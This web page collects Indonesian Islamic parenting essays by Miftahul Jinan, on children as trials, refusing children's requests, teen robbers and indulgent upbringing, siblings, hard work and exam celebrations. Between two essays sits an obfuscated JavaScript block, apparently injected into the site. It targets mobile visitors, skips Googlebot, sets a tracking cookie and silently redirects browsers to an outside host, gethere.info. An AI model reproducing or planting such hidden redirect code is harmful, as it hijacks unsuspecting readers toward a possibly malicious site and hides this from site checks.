Anak Antara Barokah dan Ujian

BAROKAH ANAK

Ada firman Allah dalam surat At Taghobun : Sesungguhnya harta-hartamu dan anak-anakmu cobaan bagimu. Dan sesungguhnya di sisi Allahlah pahala yang besar.

Mungkin diantara kita hari ini mempunyai anak yang Sholeh dan pintar, maka ingatlah kita sedang diuji oleh Allah dengan sedikit kenikmatan. Sebaliknya mungkin di antara kita hari ini mempunyai anak yang agak nakal dan tidak pintar, maka ingatlah pula kita sedang diuji oleh Allah dengan sedikit kesusahan.

Artinya mempunyai anak dengan kedua karakteristik di atas adalah sama, yaitu kita sedang diuji oleh Allah. Hanya saja jika ujiannya adalah  anak yang sholeh dan pintar maka kita biasanya lebih tenang dan bangga. Sementara pada ujian yang kedua dengan anak yang nakal dan tidak terlalu pintar maka kita biasanya pusing dan sedih.

Saya pernah ditanya oleh seorang ibu, apakah ada orang yang diberi ujian pertama yaitu kebaikan dan kesuksesan anak gagal dalam memghadapi ujian tersebut. Saya jawab, “Banyak”. Orang tua yang mempunyai anak yang pintar, baik hati dan sukses di masyarakat tetapi Ia sering pergi ke tetangga dan saudaranya dengan penuh kesombongan akan kesuksesan dan keberhasilan anaknya, mungkin dihadapkan masyarakat Ia dipandang sebagai orang tua yang sukses, tetapi yakinlah bahwa dihadapkan ujian Allah justru Ia justru gagal dengan kesombongannya.

Sementara orang tua yang diuji dengan kenakalan dan kebodohan anaknya. Ia bersabar, terus belajar, berikhtiar dan berdo’a kepada Allah untuk kebaikan anaknya. Mungkin dihadapan masyarakat  Ia telah gagal, tetapi saya yakin dihadapan ujian Allah Ia telah sukses dengan kesabaran, ikhtiar dan doanya.

Akhirnya saya ingat sebuah hadist Rasulullah : Dari sahabat Abdurrahman bin Abi Ya’la dari sahabat Shuhaib r.hu, dia berkata telah bersabda Rasulullah saw, ”Sungguh menakjubkan perkaranya orang yang beriman, karena segala urusannya adalah baik baginya. Dan hal yang demikian itu tidak akan terdapat kecuali hanya pada orang mukmin; yaitu jika ia mendapatkan kebahagiaan, ia bersyukur, karena (ia mengetahui) bahwa hal tersebut merupakan yang terbaik untuknya. Dan jika ia tertimpa musibah, ia bersabar, karena (ia mengetahui) bahwa hal tersebut merupakan hal terbaik bagi dirinya.”

Tetap Khusnudzon

Pagi itu saya mendapatkan sapaan akrab dari seorang ibu yang mengikuti training Parenting saya. Lalu Ia bertanya,”Anak saya dua hari yang lalu mengembalikan separo dari uang sakunya yang empat ribu, Ia merasa cukup dengan dua ribu tersebut. Namun sore harinya saya menemukan bungkus kue dengan sisa sedikit yang harganya lebih dari sepuluh ribu di dalam tasnya. Saya bertanya dari mana kue yang ada dalam tas tersebut. Iapun menjawab telah mengambil uang dari simpanannya untuk ia belikan kue di sekolah”. “Saya merasa dibohongi Ustadz, Ia memang mengembalikan sebagian uang jajannya, tetapi dibalik pengembaliannya Ia telah membawa uang jauh lebih banyak secara diam-diam”.

Saya sangat memahami respon ibu ini yang kecewa mendapati kenyataan bahwa putranya telah melakukan “kebohongan” dibalik inisiatifnya mengembalikan sebagian uang jajannya. Jika kita sedikit merenung terhadap fenomena di atas, sebenarnya masih banyak yang harus disyukuri oleh ibu pada anaknya bahkan lebih besar dari kesedihannya mendapati “kebohongan”nya.

Ada beberapa pelajaran yang dapat kita ambil sebagai orang jika menjumpai putra-putri kita berperilaku seperti di atas, di antaranya adalah:

  1. Masih ada perasaan kurang nyaman dari anak untuk menghabiskan seluruh uang jajan ibunya di saat Ia menggunakan uangnya sendiri yang agak banyak. Tentu sikap ini adalah yang sangat baik dan mulia. Jika anak ini adalah anak yang kurang baik, maka Ia tidak pernah mengembalikan sisa uang jajannya.
  2. Mungkin belum ada kesepakatan antara orang tua dan anak tentang mekanisme penggunaan uang simpanan anak, sehingga Ia merasa tidak perlu meminta izin kepada ibunya saat menggunakannya. Di sinilah muncul PR bagi orang tua untuk mengajari anak bagaimana menggunakan uang simpanannya sendiri dengan tetap mempertimbangkan aspek kemandirian anak untuk membuat keputusan dan aspek pendidikan anak bagaimana memenuhi kebutuhannya secukupnya

Namun membangun respon yang positif terhadap perilaku anak bukanlah perkara yang mudah. Minimal ada dua cara untuk membantu kita para orang tua dapat memberikan respon positif dan menghindari respon-respon negatif atas perilaku dan sikap anak, yaitu :

  1. Membangun pamahaman yang benar dan kuat bahwa apa yang dilakukan oleh anak sebagai proses belajar dan belum menjadi sikap yang permanen. Seperti saat melihat dua anak yang sedang rebutan mainan maka harus dipahami sebagai hal yang sangat wajar di mana yang lebih penting dari pertikaian itu adalah bagaimana orang tua menyikapinya dengan tenang
  2. Mengambil jeda saat merespon untuk memberi waktu bagi pikiran dan hati kita di dalam memikirkan dan melihat masalahnya dari berbagai aspek serta merasakan dampak dari respon kita

 

 

Menolak Permintaan Anak

Saat anak meminta sesuatu kepada orang tuanya, maka di hadapan orang tua ada dua pilihan yaitu menerima permintaan anak atau menolaknya. Untuk pilihan yang pertama mungkin tidak akan muncul masalah bagi orang tua dan anak. Karena keinginan anak sesuai dengan kemauan orang tuanya. Masalah baru mulai muncul ketika yang menjadi pilihan adalah penolakan. Seperti perasaan tidak disayangi orang tua, menangis mengiba, mencaci orang tua, merusak barang di rumah dan lain-lain. Dan untuk menghindari masalah ini banyak orang tua selalu menuruti keinginan anak, walaupun keinginan tersebut sering kali justru merusak diri anak.

Sebenarnya ada beberapa hal yang perlu diperhatikan orangtua saat Ia menolak permintaan anaknya. Untuk mengurangi munculnya masalah-masalah di atas dan meningkatkan manfaat pada diri anak dibalik penolakan tersebut, di antaranya:
<ol>
<li>Saat anak meminta sesuatu lalu kita menerima atau menolak permintaannya, kita sebenarnya dapat menunda jawaban kita dan tidak langsung membuat keputusan untuknya. Penundaan ini mendidik anak untuk lebih mampu menahan dirinya dengan menahan keinginannya. Dan jika kita harus menolak permintaannya, maka sebenarnya anak lebih mampu untuk menerima keputusan penolakan tersebut. Berbeda jika anak meminta dan kita langsung menolak, maka anak seringkali belum siap terhadap penolakan kita.</li>
<li>Setiap keputusan baik menerima atau menolak permintaan kita perlu memberikan alasan yang jelas atas keputusan tersebut. Sikap ini tidak hanya supaya anak tidak menangis sehingga jika setelah kita jelaskan anak tetap menangis maka kita segera mengubah keputusan kita. Tetapi lebih untuk mendidik anak bahwa penolakan ini karena sebuah alasan yang logis dan anak mulai dibiasakan untuk membuat keputusan dengan alasan yan logis pula. Banyak orang tua saat menolak permintaan anak justru menghakimi anak atas permintaannya yang menurutnya tidak masuk akal. Seperti saat menolak anak ketika meminta izin untuk melihat pergantian tahun baru, dengan mencemooh sikapnya untuk melihat pergantian tahun baru. Lebih baik kita memberi tahu alasan kita tanpa memberi komentar negatif atas permintaannya</li>
<li>Penolakan bisa dilakukan dengan kalimat tanya. Pernah suatu hari anak saya yang pertama meminta izin untuk mengendarai sepeda motor, padahal Ia baru kelas 2 SMP. Saya menolak dengan bertanya, "Mas, kalau Abi membolehkan kamu naik sepeda motor sekarang, adakah peraturan yang harus Abi langgar atas pembolehan ini? Dan anak saya akhirnya menyadari bahwa dia belum berhak naik sepeda motor karena aturan lalu lintas.</li>
</ol>
Anak perlu untuk mempunyai pengalaman untuk diterima dan ditolak permintaannya. Tetapi pastikan bahwa saat ia mengalami penolakan maka ia tetap mendapatkan manfaat darinya.

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Begal ABG dan Pola Asuh Kita

Oleh: Miftahul Jinan M.Pd.I

Akhir-akhir ini kita cukup prihatin dengan munculnya fenomena begal di sekitar kita. Beberapa tindakan sadis mereka di dalam melancarkan aksinya cukup membuat kita miris. Dari sekedar mengambil barang incaran dengan kasar, melukai anggota tubuh korban dengan senjata tajam, hingga pembunuhan secara sadis dengan menusuk korban atau menembaknya. Reaksi dari masyarakat terhadap pelaku kejahatan tersebut yang tertangkap tidak kalah sadis yaitu menghajarnya hingga babak belur bahkan membakarnya.

Sebenarnya ada yang lebih membuat prihatin kita saat ini sebagi orang tua adalah munculnya fenomena begal ABG. Mereka adalah kelompok pemuda yang belum berumur 20 tahun dan telah melakukan aksi begal. Beberapa begal ABG yang tertangkap ditanya untuk apa hasil kejahatan mereka? Dengan tenangnya mereka menjawab hanya untuk bersenang-senang seperti membeli minuman keras hingga membeli barang-barang mewah kesukaan mereka. Kita mungkin cukup terbelalak dengan jawaban ini bahwa hanya untuk keinginan-keinginan yang tidak terlalu prinsip mereka rela membegal dengan mencederai korban hingga membunuhnya. Ada beberapa analisa yang dapat kita ambil dari fenomena begal ABG ini, yaitu :

  1. Para begal ABG ini adalah sekelompok orang yang tidak mampu mengontrol keinginan mereka. Jika mereka menginginkan sesuatu, mereka harus mendapatkannya. Bahkan mereka tidak mampu membedakan antara sebuah kebutuhan prinsip yang harus diperjuangkan atau hanya keinginan jangka pendek yang sebenarnya tidak perlu sampai membegal
  2. Para ABG tersebut untuk memenuhi keinginan, mereka rela untuk melakukan pelanggaran aturan hingga syariat agama
  3. Untuk mendapatkan sesuatu yang mereka inginkan mereka menggunakan cara-cara Instant. Mereka tidak sabar untuk mendapatkannya dengan proses yang alami setahap demi setahap. Bekerja keras dan mendapatkan hasil dari pekerjaan kerasnya untuk memenuhi keinginan mereka

Dari analisa fenomena begal ABG di tas marilah kita mencoba untuk mengkritisi beberapa pola asuh kita di rumah yang kadang justru mendorong munculnya beberapa perilaku yang mirip dengan begal ABG di atas pada anak-anak kita.

  1. Demi rasa cinta dan sayang kepada anak kita kadang berani untuk melanggar aturan atau syariat agama. Kita sering mendapatkan orang tua yang membelikan anak-anaknya yang masih usia sekolah menengah pertama sepeda motor untuk mereka gunakan ke sekolah. Padahal mereka belum mempunyai SIM dan kondisi emosional mereka yang masih labil. Jika kita berani melanggar satu kali aturan dan syariat agama, maka ini akan mendorong anak untuk juga mudah melanggar aturan dan syariat agama di kemudian hari
  2. Kita sering sulit untuk menolak permintaan anak dan selalu menuruti apa yang mereka minta. Sikap ini mendorong munculnya perilaku anak bahwa apa yang mereka inginkan harus mereka dapatkan. Pola asuh ini dapat memunculkan kebiasaan untuk berbuat nekat jika mereka mengalami penolakan.
  3. Banyak dari kita orang tua selalu memberi apa yang diminta anak dengan cepat dan tanpa syarat apapun. Sikap ini tentu akan mendorong anak untuk berfikir serba instant. Seperti begal ABG yang berfikir instant untuk mendapatkan yang mereka inginkan, maka anak-anak kita juga bersikap demikian. Apa yang yang mereka inginkan hari ini harus mereka dapatkan hari ini juga.

Berangkat dari pembahasan di atas, sebenarnya orang tua dapat melakukan hal-hal yang lebih bijak dan mendorong anaknya untuk lebih bersikap dewasa dan mandiri. Beberapa sikap yang harus dimunculkan orang tua terkait dengan hal di atas adalah :

  1. Kita orang tua kadang perlu menerima keinginan anak atau menolaknya. Pengalaman diterima dan ditolak mendorong anak untuk lebih siap menghadapi kesuksesan dan kegagalan mereka dengan santun. Mereka cenderung lebih mampu mengontrol keinginannya dan tidak akan pernah melakukan hal-hal nekat untuk mendapatkan yang dia inginkan.
  2. Satu prinsip yang harus dicermati orang tua saat anak mereka meminta adalah apakah permintaan mereka melanggar aturan atau syariat yang berlaku. Sikap ini juga akan mendidik anak bahwa sebuah keinginan mereka tidak boleh melanggar aturan yang ada apalagi syariat agama. Seorang yang dibiasakan untuk selalu mentaati aturan dan syariat agama pada hal-hal yang diinginkan, maka secara otomatis ia akan mengurangi keinginan-keinginan yang diluar aturan dan syariat.
  3. Di dalam menerima keinginan anak orang tua perlu menghindari untuk memberinya secara “gratisan”.  Langsung diberi dan tanpa syarat apapun. Anak perlu dibiasakan untuk menunggu beberapa saat atau memberinya syarat dari setiap permintaan yang mereka ajukan kepada orang tuanya. Seperti saat mereka meminta sepatu futsal, kita menangguhkan keinginannya satu minggu ke depan atau dengan syarat mereka melakukan kebaikan tertentu dalam rentang waktu tertentu. Sikap ini akan mendorong anak untuk berfikir proses dan tidak berfikir serba instant.

 

Mitra Belajar Anak

Saya sering mendengar keluhan beberapa orang tua yang anaknya sering bertengkar, berebut mainan dan selalu iri terhadap saudaranya. Yang sering mereka lakukan untuk mengatasi sikap anak di atas dengan selalu membelikan mainan sejumlah anaknya, menyediakan beberapa TV supaya masing-masing dapat melihat tayangan yang disukainya dan selalu membelikan barang yang sama pada mereka.

Sebaliknya saya juga sering mendengar cerita indah dari beberapa orang tua yang dikaruniai beberapa anak dan mereka masih dapat aktif bekerja dan berdakwah tanpa mereka merasa direpoti oleh permasalahan anaknya yang banyak. Rahasia mereka adalah kerjasama antara suami istri bahkan dengan anak-anak mereka yang lebih besar.

Anak-anak yang lebih besar berfungsi sebagai penjaga, pengasuh, bahkan mitra belajar saudaranya. Ada banyak pekerjaan rumah tangga yang mulai dapat mereka delegasikan kepada anak-anak yang lebih tua. Mungkin di antara kita khawatir apakah hal tersebut tidak mengakibatkan kedewasaan dini pada anak atau mengganggu proses belajar anak di sekolah?

Dari dua fakta di atas, sebenarnya kita dapat mengambil nilai-nilai yang dapat kita praktekkan bagi anak-anak kita di rumah, di antaranya :

  1. Banyak orang tua memandang pertikaian anak selalu negatif. Sehingga mereka berusaha menghindarkan mereka dari pertikaian, padahal di dalam pertikaian terdapat banyak pelajaran hidup bagi anak. Pelajaran mengontrol emosi, pelajaran untuk menerima keputusan yang tidak sesuai dengan keinginannya, dan pelajaran untuk berempati kepada yang diminta untuk mengalah
  2. Membelikan lebih banyak televisi bagi anak hanyalah lari dari permasalahan yang sesungguhnya yaitu supaya anak tidak bertikai. Tetap menyediakan satu Televisi dengan membagi tayangan berdasarkan kesepakatan bersama adalah pelajaran bagi anak untuk menghormati kesenangan orang lain dan menahan diri untuk tidak memaksa keinginannya
  3. Menjadikan anak yang lebih besar mitra belajar bagi adiknya akan menumbuhkan rasa tanggung jawab dan perasaan melindungi bagi sang kakak
  4. Beberapa anak justru lebih menangkap penjelasan kakak yang lebih besar dari pada orang tuanya karena mereka sering lebih memahami keinginan dan cara belajar adik
  5. Mendelegasikan beberapa pekerjaan rumah tangga kepada anak justru membuat anak lebih menghargai daya upaya orang tuanya yang selama ini telah melayaninya

 

Membagi Kasih Sayang atau Mengalikannya

Oleh: Miftahul Jinan, Direktur Griya Parenting Indonesia

Seorang remaja putri memperhatikan seorang ibu yang sedang mendampingi kelima anaknya untuk bermain di taman. Ia sangat takjub melihat keakraban mereka, kemudian ia mendatangi ibu tersebut seraya berkata, “Bagaimana mungkin ibu dapat membagi kasih sayang ibu kepada kelima putra-putri ibu? Ibu tersebut menjawab, “Saya tidak sedang membagi kasih sayang saya kepada mereka, tetapi saya selalu mengalikannya.”

Jawaban ibu di atas memang terasa begitu klise, tetapi dalam kehidupan nyata kita justru lebih mudah mendapatkannya. Seorang ibu dengan kelima, keenam, bahkan kedelapan anaknya, tulus memberikan perhatian yang penuh kepada mereka. Memberi kesempatan kepada mereka untuk mengeksplorasi lingkungan sekelilingnya, dan menerima setiap kegagalan putra-putrinya dengan berempati kepada mereka.

Sang ibu dipenuhi kelembutan saat memberi tanggung jawab sesuai dengan umur dan kapasitas anak-anak. Ia pun tegas dalam menegakkan aturan yang jelas. Ia pun setia membimbing mereka dalam suka dan duka. Ia persiapkan kader terdidik dengan sentuhan reward dan punishment yang tepat saat mereka menaati atau melanggarnya.

Sosok ibu yang kurma – kesukaan – miliknya rela ia berikan kepada anak-anaknya yang masih terlihat sangat menginginkannya. Ia adalah ibu yang saat sujud malamnya selalu mengalir do’a bagi kebaikan anak-anaknya. Dan beliaulah sang ibunda yang menjadi kebanggaan bagi setiap anaknya karena teladan terbaiknya.

Maka lihatlah anak-anak yang terbimbing dari ibu dengan perwajahan seperti ini. Mereka adalah anak-anak yang berkembang kepribadiannya, mempunyai rasa cinta kepada diri dan ibunya. Kemudian ia menyebarkan cintanya kepada saudara-saudara yang lain. Dengan penuh ketulusan membimbing adik-adiknya untuk belajar. Kehidupan mereka saling memberi perhatian dan rela menopang kegagalan di antara saudaranya. Bukankah fenomena ini wujud mengalikan kasih sayang?.

Ibarat kasih sayang ibu ada 10 kemudian ia bagi untuk lima anaknya, masing-masih anak kemudian memberikan kasih sayang kepada saudara-saudaranya yang lain. Subhanallah berapa kasih sayang yang diterima oleh seorang anak dari ibunya dan dari saudara-saudaranya.

Sebaliknya seorang ibu yang hanya punya satu atau dua anak, ia memberikan kasih sayang dengan penuh kepada anaknya. Membantu setiap kebutuhan mereka. Tidak rela jika anaknya mencoba-coba untuk membantunya. Mungkin ia merasa kehadirannya malah mengganggu. Biarlah ia fokus saja pada belajar. Toh mama bisa melakukannya sendiri. Dalam benakya membatin, “Bagaimana nanti kalau jatuh atau rusak?”. Yang diinginkan adalah anaknya selalu berhasil. Sayang, tidak dibarengi dengan kesiapan menerima kegagalan putranya. Selalu menerima permintaan anak daripada menolaknya.

Mungkin kasih sayang ibu ini hanya dibagi kepada satu atau dua anaknya, tetapi kasih sayang tersebut habis diserap oleh mereka. Itu terjadi karena kurangnya kemandirian dan rasa empati kepada ibunya. Ingatlah!. Kasih sayang yang tidak pada tempatnya, perhatian yang berlebihan, tidak memberi tanggung jawab pada anak justru akan membangun anak yang kurang mandiri, minder, egois, dan kurang empati.

Tidak heran ada seorang ibu yang pernah berkata di depan saya, “Mengapa anak saya hanya satu, tetapi waktu saya habis bahkan kurang untuk mengurus satu anak ini saja. Sementara ibu saya dahulu mempunyai 9 anak, tetapi beliau mempunyai banyak waktu untuk mengikuti kegiatan-kegiatan dakwah dan sosial.”

Anak-Anak dan Kerja Keras

 

 Saya menjumpai beberapa anak muda yang melakukan aktivitasnya dengan penuh antusias, semangat dan kerja keras. Baik aktivitas tersebut berkaitan dengan kepentingannya maupun aktivitas sosial yang tidak berhubungan sama sekali dengan kepentingan dirinya.

Sebaliknya saya juga menjumpai beberapa anak muda yang tidak mampunyai gairah di dalam mengerjakan sesuatu dan tidak pernah mau bekerja keras. Baik aktivitas tersebut berkaitan dengan kepentingan dirinya apalagi aktivitas yang tidak berkaitan dengan kepentingannya.

Ada sejumlah fenomena yang dapat kita lihat, dengar dan rasakan dalam rangka menapaktilasi mengapa seorang pemuda wajahnya penuh semangat, bergairah dan rela bekerja keras? Kemudian sebaliknya, mengapa banyak pemuda lainnya ekspresinya kuyu, tanpa gairah dan sikapnya malas bekerja keras? Di antara beberapa fenomena tersebut adalah:

  1. Kesadaran arti kerja keras. Hal ini dialami sejumlah pemuda yang pada masa kecilnya permintaan mereka selalu dituruti. Selain itu, anak-anak yang begitu mudahnya mendapatkan apa yang diinginkan tentu akan sulit memahami arti kerja keras. Apalagi anak yang tidak dididik kemandirian oleh orang tuanya karena alasan tidak tega, anak tunggal, kasihan dan lain lain. Ia tidak mempunyai cukup pengalaman dalam bekerja keras dan akhirnya ia sulit untuk melakukannya. Sebaliknya anak-anak yang mendapatkan pengalaman, bahwa beberapa hal yang ia inginkan harus melewati perjuangan maka ia akan menyadari arti kerja keras. Di sinilah orang tua mempunyai peranan yang penting di dalam menghadirkan tantangan bagi anak sehingga ia cukup terpacu untuk melakukan.
  2. Membangun motif pada aktivitas anak. Beberapa orang mampu membangun makna atau motif bagi kegiatan yang dilakukan anak-anak. Seperti seorang anak yang diminta oleh orang tuanya untuk memberi makanan hewan peliharaan keluarga. Ayah bunda menjelaskan bahwa banyak para Nabi adalah penggembala. Jiwa leadershipnya terasah dengan aktivitas gembalanya. Insya Allah anak-anak kita akan terbiasa membangun makna yang tinggi dalam setiap kegiatan yang dikerjakan.
  3. Teladan dari orang tua. Dari orang tua yang terbiasa berjuang keras untuk mendapatkan keinginan dan cita-cita akan tumbuh anak-anak yang juga mempunyai sikap kerja keras. Sebaliknya orang tua yang sering melakukan hal-hal instan untuk mendapatkan keinginannya juga akan tumbuh anak-anak yang memilih kegiatan-kegiatan instan. Indra Syafri pelatih Timnas U-19 berkunjung ke pelosok negeri untuk mendapatkan anak-anak yang  berbakat. Dan salah satu parameter penting di dalam memilih pemain adalah riwayat hidup orang tuanya. Beliau mempunyai keyakinan bahwa dari orang tua yang memiliki karakter yang kuat akan selalu tumbuh anak-anak dengan karakter yang kuat juga. Karakter memang tidak dapat diturunkan tetapi anak-anak akan selalu meniru perilaku orang tua. Inilah yang dinamakan bahwa karakter diwariskan.

Anak yang tangguh punya sikap hidup suka tantangan dan rela bekerja keras. Sedangkan anak yang tidak mandiri profilnya gampang menyerah enggan bekerja keras. Maka, pilihan bagi ayah bunda adalah apakah mau sekuat tenaga dan pikiran mendorong mereka tumbuh menjadi anak yang tangguh?. Atau ayah bunda lebih enjoy dengan melepaskan keturunan kita berpenampilan malas tidak suka bekerja keras?. Mari kita memilih yang terbaik untuk anak-anak kita.

 

Selebrasi Unas Bikin Cemas

Oleh: Miftahul Jinan, M.Pd.I, Direktur Griya Parenting Indonesia

Bagi kita para penggemar sepakbola apalagi fans berat club Barcelona sangat mengenal dengan Carles Puyol. Pemain senior Barca berambut kriwil dan sering menempati posisi center back di timnya.

Ada alasan mengapa tulisan ini melibatkan pemain tersebut. Pada laga Barcelona melawan Rayo Vallecano di markas Vallecano pada menit 77 gelandang muda Barca yang bernama Thiago Alcantara berhasil menjebol gawang Rayo. Pemain muda ini melakukan selebrasi gol bersama Dani Alves dengan berdansa “Tchu Tacha Tcha”. Aksi dua pemain tersebut mengundang sorakan para pendukung tuan rumah. Sesaat kemudian Puyol menghampiri mereka dan meminta keduanya menghentikan tarian. Dari raut wajahnya, bek senior itu terlihat marah dan kurang menyukai selebrasi gol tersebut.

Apa yang dilakukan oleh kedua pemain Barca di atas sangat sering dan wajar terjadi di dunia sepakbola, tetapi Puyol memandang bahwa apa yang dilakukan oleh kedua rekan timnya telah membuat pendukung tim lawan kurang nyaman dan berlebihan. Sehingga ia segera menghentikan tarian tersebut. Kita memang harus mengalahkan lawan, tetapi jangan sampai menghinanya.

Sebentar lagi anak-anak kita yang duduk di kelas akhir pada jenjang SMU, SMP dan SD akan segera mendapatkan hasil UNASnya. Mayoritas dari mereka memang akan lulus, tetapi ada sebagian yang lain harus menerima kenyataan tidak lulus. Sebagaimana seorang pemain sepakbola yang baru saja menjebol gawang lawan, maka ia akan melakukan selebrasi. Dan lihatlah aksi mereka yang mengetahui kelulusan ujiannya, ada selebrasi. Sebuah perayaan atas hasil kerja keras mereka.

Kita dapat mengambil pelajaran dari sikap sportif Carles Puyol untuk anak-anak kita. Bolehlah mereka melakukan selebrasi atas kelulusannya. Tetapi hindarilah selebrasi yang berlebihan dan mengganggu kenyamanan orang lain. Karena di samping kita ada sebagian anak yang belum ditakdirkan oleh Allah untuk lulus.

Apalagi sebagai orang Islam, mereka seharusnya sudah mengetahui bagaimana seorang muslim mensyukuri atas ni’mat yang mereka peroleh. Mengucapkan alhamdulillah, melakukan sujud syukur, berterima kasih kepada orang-orang yang berjasa, dan melakukan kebaikan atas ni’mat yang telah ia peroleh. Selebrasi Unas Bikin Cemas para orang tua hendaknya tak lagi dilakukan.

Selamat mempersiapkan anak untuk bijak di dalam melakukan selebrasi kelulusan mereka.

Kontroversi Berkata Tidak, Jangan, dalam Mengasuh Anak

Oleh: Miftahul Jinan, Penulis dan Master Trainer pada  Griya Parenting Indonesia

Kontroversi Berkata Tidak, Jangan, dalam Mengasuh Anak. Saya kurang mengerti mengapa beberapa ahli tidak menyarankan untuk sering menggunakan kata “jangan, tidak boleh, dilarang” dan kata-kata negatif lainnya. Mereka mempunyai banyak alasan pada penggunaan kata-kata tersebut, di antara yang menarik saya adalah bahwa otak manusia selalu menerima kata-kata negatif tersebut sebagai kata-kata positif. Seperti seseorang yang berkata kepada kita, “Jangan memikirkan gajah yang berwarna kuning”. Maka otak kita secara otomatis justru terdorong untuk memikirkan gajah yang berwarna kuning. Berarti jika kita seorang guru atau orang tua, kemudian kita berkata kepada anak didik kita, “Jangan terlambat ke sekolah”, maka otak anak justru memikirkan terlambat ke sekolah.

Namun apakah hanya dengan alasan di atas lalu kita didorong untuk selalu menghindarkan diri dari perkataan “tidak”. Suatu hari saya memotong kuku jari tangan saya. Secara tidak sengaja (habit jelek saya) saya membuangnya di bawah meja. Toh potongan kuku-kuku tersebut terlalu kecil dibandingkan luas lantai rumah saya. Tiba-tiba istri saya berkata,”Bi… jangan membuang kotoran di sembarang tempat”. Saya terkejut dan kurang nyaman dengan perkataan tersebut, walaupun perbuatan saya memang layak untuk dikomentari dengan kata-kata tersebut. Mengapa istri saya tidak menggunakan kata-kata yang lebih baik seperti, “Bi, disana tempat sampahnya” atau “Bi, di mana tempat sampahnya”. Saya tersadar bahwa setiap orang termasuk anak-anak kita lebih nyaman jika diberi alasan atau pertanyaan atas perilakunya daripada diberi kata “jangan, tidak, atau dilarang” tanpa alasan yang menyertainya.

